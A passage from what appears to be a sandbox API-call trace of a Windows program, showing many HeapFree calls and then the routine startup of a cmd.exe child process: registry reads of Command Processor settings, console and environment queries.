HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x425ddb8 | out: hHeap=0x660000) returned 1 [0157.963] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x424ddb0 | out: hHeap=0x660000) returned 1 [0157.965] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x425ddb8 | out: hHeap=0x660000) returned 1 [0157.965] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x424ddb0 | out: hHeap=0x660000) returned 1 [0157.966] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x426ddc0 | out: hHeap=0x660000) returned 1 [0157.966] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x426ddc0 | out: hHeap=0x660000) returned 1 [0157.967] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x426ddc0 | out: hHeap=0x660000) returned 1 [0157.968] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x426ddc0 | out: hHeap=0x660000) returned 1 [0157.968] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x426ddc0 | out: hHeap=0x660000) returned 1 [0157.968] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x425ddb8 | out: hHeap=0x660000) returned 1 [0157.968] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x424ddb0 | out: hHeap=0x660000) returned 1 [0157.970] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x425ddb8 | out: hHeap=0x660000) returned 1 [0157.970] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x424ddb0 | out: hHeap=0x660000) returned 1 [0157.970] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x41d2970 | out: hHeap=0x660000) returned 1 [0157.972] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x41d2970 | out: hHeap=0x660000) returned 1 [0157.972] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x426ddc0 | out: hHeap=0x660000) returned 1 [0157.972] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x426ddc0 | out: hHeap=0x660000) returned 1 [0157.973] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x426ddc0 | out: hHeap=0x660000) returned 1 [0157.973] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x425ddb8 | out: hHeap=0x660000) returned 1 [0157.974] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x424ddb0 | out: hHeap=0x660000) returned 1 [0157.975] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x425ddb8 | out: hHeap=0x660000) returned 1 [0157.977] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x425ddb8 | out: hHeap=0x660000) returned 1 [0157.978] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x426ddc0 | out: hHeap=0x660000) returned 1 [0157.980] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x426ddc0 | out: hHeap=0x660000) returned 1 [0158.017] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x426ddc0 | out: hHeap=0x660000) returned 1 [0158.196] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x426ddc0 | out: hHeap=0x660000) returned 1 [0158.200] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x426ddc0 | out: hHeap=0x660000) returned 1 [0158.200] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x426ddc0 | out: hHeap=0x660000) returned 1 [0158.204] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x426ddc0 | out: hHeap=0x660000) returned 1 [0158.204] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x425ddb8 | out: hHeap=0x660000) returned 1 [0158.210] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x426ddc0 | out: hHeap=0x660000) returned 1 [0158.214] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x426ddc0 | out: hHeap=0x660000) returned 1 [0158.214] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x426ddc0 | out: hHeap=0x660000) returned 1 [0158.217] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x426ddc0 | out: hHeap=0x660000) returned 1 [0158.221] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x426ddc0 | out: hHeap=0x660000) returned 1 [0158.222] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x426ddc0 | out: hHeap=0x660000) returned 1 [0158.222] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x41c0958 | out: hHeap=0x660000) returned 1 [0158.228] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x426ddc0 | out: hHeap=0x660000) returned 1 [0158.228] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x426ddc0 | out: hHeap=0x660000) returned 1 [0158.232] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x426ddc0 | out: hHeap=0x660000) returned 1 [0158.232] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x425ddb8 | out: hHeap=0x660000) returned 1 [0158.232] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x41c0958 | out: hHeap=0x660000) returned 1 [0158.235] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x41c0958 | out: hHeap=0x660000) returned 1 [0158.235] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x41c0958 | out: hHeap=0x660000) returned 1 [0158.239] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x41c0958 | out: hHeap=0x660000) returned 1 [0158.243] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x41d2970 | out: hHeap=0x660000) returned 1 [0158.243] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x425ddb8 | out: hHeap=0x660000) returned 1 [0158.245] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x41d2970 | out: hHeap=0x660000) returned 1 [0158.245] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x425ddb8 | out: hHeap=0x660000) returned 1 [0158.249] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x425ddb8 | out: hHeap=0x660000) returned 1 [0158.250] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x425ddb8 | out: hHeap=0x660000) returned 1 [0158.250] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x41d2970 | out: hHeap=0x660000) returned 1 [0158.250] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x425ddb8 | out: hHeap=0x660000) returned 1 [0158.254] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x41d2970 | out: hHeap=0x660000) returned 1 [0158.254] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x425ddb8 | out: hHeap=0x660000) returned 1 [0158.254] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x425ddb8 | out: hHeap=0x660000) returned 1 [0158.255] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x41d2970 | out: hHeap=0x660000) returned 1 [0158.257] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x425ddb8 | out: hHeap=0x660000) returned 1 [0158.257] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x41c0958 | out: hHeap=0x660000) returned 1 [0158.261] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x425ddb8 | out: hHeap=0x660000) returned 1 [0158.262] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x425ddb8 | out: hHeap=0x660000) returned 1 [0158.912] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x425ddb8 | out: hHeap=0x660000) returned 1 [0158.913] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x425ddb8 | out: hHeap=0x660000) returned 1 [0158.915] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x425ddb8 | out: hHeap=0x660000) returned 1 [0158.915] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x425ddb8 | out: hHeap=0x660000) returned 1 [0158.916] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x425ddb8 | out: hHeap=0x660000) returned 1 [0158.916] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x41c0958 | out: hHeap=0x660000) returned 1 [0158.918] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x41c0958 | out: hHeap=0x660000) returned 1 [0158.921] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x41c0958 | out: hHeap=0x660000) returned 1 [0158.922] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x41c0958 | out: hHeap=0x660000) returned 1 [0158.924] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x41c0958 | out: hHeap=0x660000) returned 1 [0158.924] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x41c0958 | out: hHeap=0x660000) returned 1 [0158.924] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x41c0958 | out: hHeap=0x660000) returned 1 [0158.924] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x41c0958 | out: hHeap=0x660000) returned 1 [0158.924] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x41c0958 | out: hHeap=0x660000) returned 1 [0158.926] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x41c0958 | out: hHeap=0x660000) returned 1 [0158.927] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x41c0958 | out: hHeap=0x660000) returned 1 [0158.927] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x41c0958 | out: hHeap=0x660000) returned 1 [0158.927] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x41c0958 | out: hHeap=0x660000) returned 1 [0158.929] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x426ddc0 | out: hHeap=0x660000) returned 1 [0158.929] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x41c0958 | out: hHeap=0x660000) returned 1 [0158.935] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x425ddb8 | out: hHeap=0x660000) returned 1 [0158.936] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x426ddc0 | out: hHeap=0x660000) returned 1 [0158.938] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x426ddc0 | out: hHeap=0x660000) returned 1 [0158.939] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x426ddc0 | out: hHeap=0x660000) returned 1 [0159.046] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x426ddc0 | out: hHeap=0x660000) returned 1 [0159.046] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x425ddb8 | out: hHeap=0x660000) returned 1 [0159.080] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x41e2978 | out: hHeap=0x660000) returned 1 [0159.081] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x41c0958 | out: hHeap=0x660000) returned 1 [0159.097] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x41d2970 | out: hHeap=0x660000) returned 1 [0159.098] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x41c0958 | out: hHeap=0x660000) returned 1 [0159.120] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x41d2970 | out: hHeap=0x660000) returned 1 [0159.120] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x41c0958 | out: hHeap=0x660000) returned 1 [0159.132] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x41e2978 | out: hHeap=0x660000) returned 1 [0159.132] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x41c0958 | out: hHeap=0x660000) returned 1 [0159.143] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x41c0958 | out: hHeap=0x660000) returned 1 [0159.161] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x41d2970 | out: hHeap=0x660000) returned 1 [0159.161] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x41c0958 | out: hHeap=0x660000) returned 1 [0159.163] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x41c0958 | out: hHeap=0x660000) returned 1 [0159.695] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x41d2970 | out: hHeap=0x660000) returned 1 [0159.721] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x41c0958 | out: hHeap=0x660000) returned 1 [0159.721] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x425ddb8 | out: hHeap=0x660000) returned 1 [0159.757] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x41c0958 | out: hHeap=0x660000) returned 1 [0160.124] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x41c0958 | out: hHeap=0x660000) returned 1 [0160.124] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x41c0958 | out: hHeap=0x660000) returned 1 [0160.125] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x41c0958 | out: hHeap=0x660000) returned 1 [0160.125] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x424ddb0 | out: hHeap=0x660000) returned 1 [0160.125] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x41c0958 | out: hHeap=0x660000) returned 1 [0160.125] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x424ddb0 | out: hHeap=0x660000) returned 1 [0160.125] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x424ddb0 | out: hHeap=0x660000) returned 1 [0160.127] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x427ddc8 | out: hHeap=0x660000) returned 1 [0160.502] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x427ddc8 | out: hHeap=0x660000) returned 1 [0160.503] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x41f2980 | out: hHeap=0x660000) returned 1 [0160.503] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x41e2978 | out: hHeap=0x660000) returned 1 [0160.505] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x41c0958 | out: hHeap=0x660000) returned 1 [0160.505] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x424ddb0 | out: hHeap=0x660000) returned 1 [0160.681] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x424ddb0 | out: hHeap=0x660000) returned 1 [0160.684] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3b60e10 | out: hHeap=0x660000) returned 1 [0161.402] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x4234990 | out: hHeap=0x660000) returned 1 [0161.790] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x4234990 | out: hHeap=0x660000) returned 1 [0161.790] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3b60e10 | out: hHeap=0x660000) returned 1 [0161.859] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x4234990 | out: hHeap=0x660000) returned 1 [0161.860] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x4234990 | out: hHeap=0x660000) returned 1 [0161.860] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3b60e10 | out: hHeap=0x660000) returned 1 [0161.863] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x4234990 | out: hHeap=0x660000) returned 1 [0162.332] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x4234990 | out: hHeap=0x660000) returned 1 [0162.333] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x41b0950 | out: hHeap=0x660000) returned 1 [0162.333] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x4234990 | out: hHeap=0x660000) returned 1 [0162.333] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x4234990 | out: hHeap=0x660000) returned 1 [0162.333] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x4234990 | out: hHeap=0x660000) returned 1 [0162.334] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x4234990 | out: hHeap=0x660000) returned 1 [0162.334] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3b60e10 | out: hHeap=0x660000) returned 1 Process: id = "13" image_name = "cmd.exe" filename = "c:\\windows\\system32\\cmd.exe" page_root = "0x525f8000" os_pid = "0xf88" os_integrity_level = "0x2000" os_privileges = "0x40800000" monitor_reason = "child_process" parent_id = "5" os_parent_pid = "0xdd4" cmd_line = "\"C:\\WINDOWS\\system32\\cmd.exe\"" cur_dir = "C:\\WINDOWS\\system32\\" os_username = "NQDPDE\\FD1HVy" bitness = "64" os_groups = "NQDPDE\\Domain Users" [0x7], "Everyone" [0x7], "NT AUTHORITY\\Local account and member of Administrators group" [0x10], "BUILTIN\\Administrators" [0x10], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Local account" [0x7], "NT AUTHORITY\\Logon Session 00000000:0001217e" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 84 os_tid = 0xf8c [0147.973] GetModuleHandleW (lpModuleName=0x0) returned 0x7ff7d4a80000 [0147.973] __set_app_type (_Type=0x1) [0147.974] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0x7ff7d4a96d00) returned 0x0 [0147.974] __getmainargs (in: _Argc=0x7ff7d4ab9200, _Argv=0x7ff7d4ab9208, _Env=0x7ff7d4ab9210, _DoWildCard=0, _StartInfo=0x7ff7d4ab921c | out: _Argc=0x7ff7d4ab9200, _Argv=0x7ff7d4ab9208, _Env=0x7ff7d4ab9210) returned 0 [0147.974] _onexit (_Func=0x7ff7d4a97fd0) returned 0x7ff7d4a97fd0 [0147.974] _onexit (_Func=0x7ff7d4a97fe0) returned 0x7ff7d4a97fe0 [0147.974] _onexit (_Func=0x7ff7d4a97ff0) returned 0x7ff7d4a97ff0 [0147.974] _onexit (_Func=0x7ff7d4a98000) returned 0x7ff7d4a98000 [0147.975] _onexit (_Func=0x7ff7d4a98010) returned 0x7ff7d4a98010 [0147.975] _onexit (_Func=0x7ff7d4a98020) returned 0x7ff7d4a98020 [0147.975] GetCurrentThreadId () returned 0xf8c [0147.975] OpenThread (dwDesiredAccess=0x1fffff, bInheritHandle=0, dwThreadId=0xf8c) returned 0x70 [0147.975] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x7ff9b4be0000 [0147.975] GetProcAddress (hModule=0x7ff9b4be0000, lpProcName="SetThreadUILanguage") returned 0x7ff9b4bfa990 [0147.975] SetThreadUILanguage (LangId=0x0) returned 0x409 [0148.550] HeapSetInformation (HeapHandle=0x0, HeapInformationClass=0x1, HeapInformation=0x0, HeapInformationLength=0x0) returned 1 [0148.550] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\Policies\\Microsoft\\Windows\\System", ulOptions=0x0, samDesired=0x20019, phkResult=0xff28effbf8 | out: phkResult=0xff28effbf8*=0x0) returned 0x2 [0148.550] VirtualQuery (in: lpAddress=0xff28effbe4, lpBuffer=0xff28effb60, dwLength=0x30 | out: lpBuffer=0xff28effb60*(BaseAddress=0xff28eff000, AllocationBase=0xff28e00000, AllocationProtect=0x4, __alignment1=0xffff9601, RegionSize=0x1000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30 [0148.551] VirtualQuery (in: lpAddress=0xff28e00000, lpBuffer=0xff28effb60, dwLength=0x30 | out: lpBuffer=0xff28effb60*(BaseAddress=0xff28e00000, AllocationBase=0xff28e00000, AllocationProtect=0x4, __alignment1=0xffff9601, RegionSize=0x1000, State=0x2000, Protect=0x0, Type=0x20000, __alignment2=0x0)) returned 0x30 [0148.551] VirtualQuery (in: lpAddress=0xff28e01000, lpBuffer=0xff28effb60, dwLength=0x30 | out: lpBuffer=0xff28effb60*(BaseAddress=0xff28e01000, AllocationBase=0xff28e00000, AllocationProtect=0x4, __alignment1=0xffff9601, RegionSize=0x3000, State=0x1000, Protect=0x104, Type=0x20000, __alignment2=0x0)) returned 0x30 [0148.551] VirtualQuery (in: lpAddress=0xff28e04000, lpBuffer=0xff28effb60, dwLength=0x30 | out: lpBuffer=0xff28effb60*(BaseAddress=0xff28e04000, AllocationBase=0xff28e00000, AllocationProtect=0x4, __alignment1=0xffff9601, RegionSize=0xfc000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30 [0148.551] VirtualQuery (in: lpAddress=0xff28f00000, lpBuffer=0xff28effb60, dwLength=0x30 | out: lpBuffer=0xff28effb60*(BaseAddress=0xff28f00000, AllocationBase=0xff28f00000, AllocationProtect=0x4, __alignment1=0xffff9601, RegionSize=0x1000, State=0x2000, Protect=0x0, Type=0x20000, __alignment2=0x0)) returned 0x30 [0148.551] GetConsoleOutputCP () returned 0x1b5 [0149.362] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x7ff7d4abfbb0 | out: lpCPInfo=0x7ff7d4abfbb0) returned 1 [0149.362] SetConsoleCtrlHandler (HandlerRoutine=0x7ff7d4aa8150, Add=1) returned 1 [0149.362] _get_osfhandle (_FileHandle=1) returned 0x540 [0149.362] GetConsoleMode (in: hConsoleHandle=0x540, lpMode=0x7ff7d4abfc04 | out: lpMode=0x7ff7d4abfc04) returned 0 [0149.362] _get_osfhandle (_FileHandle=0) returned 0x3b0 [0149.363] GetConsoleMode (in: hConsoleHandle=0x3b0, lpMode=0x7ff7d4abfc00 | out: lpMode=0x7ff7d4abfc00) returned 0 [0149.363] _get_osfhandle (_FileHandle=1) returned 0x540 [0149.363] SetConsoleMode (hConsoleHandle=0x540, dwMode=0x0) returned 0 [0149.363] _get_osfhandle (_FileHandle=1) returned 0x540 [0149.363] GetConsoleMode (in: hConsoleHandle=0x540, lpMode=0x7ff7d4abfc08 | out: lpMode=0x7ff7d4abfc08) returned 0 [0149.363] _get_osfhandle (_FileHandle=0) returned 0x3b0 [0149.363] GetConsoleMode (in: hConsoleHandle=0x3b0, lpMode=0x7ff7d4abfc0c | out: lpMode=0x7ff7d4abfc0c) returned 0 [0149.363] GetEnvironmentStringsW () returned 0x2dd36c75a40* [0149.363] GetProcessHeap () returned 0x2dd36c70000 [0149.363] RtlAllocateHeap (HeapHandle=0x2dd36c70000, Flags=0x8, Size=0xab6) returned 0x2dd36c76500 [0149.363] FreeEnvironmentStringsA (penv="=") returned 1 [0149.363] GetProcessHeap () returned 0x2dd36c70000 [0149.363] RtlAllocateHeap (HeapHandle=0x2dd36c70000, Flags=0x8, Size=0x8) returned 0x2dd36c75a40 [0149.363] GetEnvironmentStringsW () returned 0x2dd36c76fd0* [0149.363] GetProcessHeap () returned 0x2dd36c70000 [0149.363] RtlAllocateHeap (HeapHandle=0x2dd36c70000, Flags=0x8, Size=0xab6) returned 0x2dd36c77a90 [0149.363] FreeEnvironmentStringsA (penv="=") returned 1 [0149.363] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="Software\\Microsoft\\Command Processor", ulOptions=0x0, samDesired=0x2000000, phkResult=0xff28efeaa8 | out: phkResult=0xff28efeaa8*=0x7c) returned 0x0 [0149.364] RegQueryValueExW (in: hKey=0x7c, lpValueName="DisableUNCCheck", lpReserved=0x0, lpType=0xff28efeaa0, lpData=0xff28efeac0, lpcbData=0xff28efeaa4*=0x1000 | out: lpType=0xff28efeaa0*=0x0, lpData=0xff28efeac0*=0x4, lpcbData=0xff28efeaa4*=0x1000) returned 0x2 [0149.364] RegQueryValueExW (in: hKey=0x7c, lpValueName="EnableExtensions", lpReserved=0x0, lpType=0xff28efeaa0, lpData=0xff28efeac0, lpcbData=0xff28efeaa4*=0x1000 | out: lpType=0xff28efeaa0*=0x4, lpData=0xff28efeac0*=0x1, lpcbData=0xff28efeaa4*=0x4) returned 0x0 [0149.364] RegQueryValueExW (in: hKey=0x7c, lpValueName="DelayedExpansion", lpReserved=0x0, lpType=0xff28efeaa0, lpData=0xff28efeac0, lpcbData=0xff28efeaa4*=0x1000 | out: lpType=0xff28efeaa0*=0x0, lpData=0xff28efeac0*=0x1, lpcbData=0xff28efeaa4*=0x1000) returned 0x2 [0149.364] RegQueryValueExW (in: hKey=0x7c, lpValueName="DefaultColor", lpReserved=0x0, lpType=0xff28efeaa0, lpData=0xff28efeac0, lpcbData=0xff28efeaa4*=0x1000 | out: lpType=0xff28efeaa0*=0x4, lpData=0xff28efeac0*=0x0, lpcbData=0xff28efeaa4*=0x4) returned 0x0 [0149.364] RegQueryValueExW (in: hKey=0x7c, lpValueName="CompletionChar", lpReserved=0x0, lpType=0xff28efeaa0, lpData=0xff28efeac0, lpcbData=0xff28efeaa4*=0x1000 | out: lpType=0xff28efeaa0*=0x4, lpData=0xff28efeac0*=0x40, lpcbData=0xff28efeaa4*=0x4) returned 0x0 [0149.364] RegQueryValueExW (in: hKey=0x7c, lpValueName="PathCompletionChar", lpReserved=0x0, lpType=0xff28efeaa0, lpData=0xff28efeac0, lpcbData=0xff28efeaa4*=0x1000 | out: lpType=0xff28efeaa0*=0x4, lpData=0xff28efeac0*=0x40, lpcbData=0xff28efeaa4*=0x4) returned 0x0 [0149.364] RegQueryValueExW (in: hKey=0x7c, lpValueName="AutoRun", lpReserved=0x0, lpType=0xff28efeaa0, lpData=0xff28efeac0, lpcbData=0xff28efeaa4*=0x1000 | out: lpType=0xff28efeaa0*=0x0, lpData=0xff28efeac0*=0x40, lpcbData=0xff28efeaa4*=0x1000) returned 0x2 [0149.364] RegCloseKey (hKey=0x7c) returned 0x0 [0149.364] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Command Processor", ulOptions=0x0, samDesired=0x2000000, phkResult=0xff28efeaa8 | out: phkResult=0xff28efeaa8*=0x7c) returned 0x0 [0149.364] RegQueryValueExW (in: hKey=0x7c, lpValueName="DisableUNCCheck", lpReserved=0x0, lpType=0xff28efeaa0, lpData=0xff28efeac0, lpcbData=0xff28efeaa4*=0x1000 | out: lpType=0xff28efeaa0*=0x0, lpData=0xff28efeac0*=0x40, lpcbData=0xff28efeaa4*=0x1000) returned 0x2 [0149.364] RegQueryValueExW (in: hKey=0x7c, lpValueName="EnableExtensions", lpReserved=0x0, lpType=0xff28efeaa0, lpData=0xff28efeac0, lpcbData=0xff28efeaa4*=0x1000 | out: lpType=0xff28efeaa0*=0x4, lpData=0xff28efeac0*=0x1, lpcbData=0xff28efeaa4*=0x4) returned 0x0 [0149.364] RegQueryValueExW (in: hKey=0x7c, lpValueName="DelayedExpansion", lpReserved=0x0, lpType=0xff28efeaa0, lpData=0xff28efeac0, lpcbData=0xff28efeaa4*=0x1000 | out: lpType=0xff28efeaa0*=0x0, lpData=0xff28efeac0*=0x1, lpcbData=0xff28efeaa4*=0x1000) returned 0x2 [0149.364] RegQueryValueExW (in: hKey=0x7c, lpValueName="DefaultColor", lpReserved=0x0, lpType=0xff28efeaa0, lpData=0xff28efeac0, lpcbData=0xff28efeaa4*=0x1000 | out: lpType=0xff28efeaa0*=0x4, lpData=0xff28efeac0*=0x0, lpcbData=0xff28efeaa4*=0x4) returned 0x0 [0149.364] RegQueryValueExW (in: hKey=0x7c, lpValueName="CompletionChar", lpReserved=0x0, lpType=0xff28efeaa0, lpData=0xff28efeac0, lpcbData=0xff28efeaa4*=0x1000 | out: lpType=0xff28efeaa0*=0x4, lpData=0xff28efeac0*=0x9, lpcbData=0xff28efeaa4*=0x4) returned 0x0 [0149.364] RegQueryValueExW (in: hKey=0x7c, lpValueName="PathCompletionChar", lpReserved=0x0, lpType=0xff28efeaa0, lpData=0xff28efeac0, lpcbData=0xff28efeaa4*=0x1000 | out: lpType=0xff28efeaa0*=0x4, lpData=0xff28efeac0*=0x9, lpcbData=0xff28efeaa4*=0x4) returned 0x0 [0149.364] RegQueryValueExW (in: hKey=0x7c, lpValueName="AutoRun", lpReserved=0x0, lpType=0xff28efeaa0, lpData=0xff28efeac0, lpcbData=0xff28efeaa4*=0x1000 | out: lpType=0xff28efeaa0*=0x0, lpData=0xff28efeac0*=0x9, lpcbData=0xff28efeaa4*=0x1000) returned 0x2 [0149.364] RegCloseKey (hKey=0x7c) returned 0x0 [0149.364] time (in: timer=0x0 | out: timer=0x0) returned 0x5ca90b79 [0149.364] srand (_Seed=0x5ca90b79) [0149.364] GetCommandLineW () returned="\"C:\\WINDOWS\\system32\\cmd.exe\"" [0149.364] malloc (_Size=0x4000) returned 0x2dd36c05530 [0149.365] GetCommandLineW () returned="\"C:\\WINDOWS\\system32\\cmd.exe\"" [0149.365] malloc (_Size=0xffce) returned 0x2dd36e40080 [0149.365] ??_V@YAXPEAX@Z () returned 0x2dd36e40080 [0149.365] GetCurrentDirectoryW (in: nBufferLength=0x7fe7, lpBuffer=0x2dd36e40080 | out: lpBuffer="C:\\WINDOWS\\system32") returned 0x13 [0149.366] malloc (_Size=0xffce) returned 0x2dd36e50060 [0149.366] 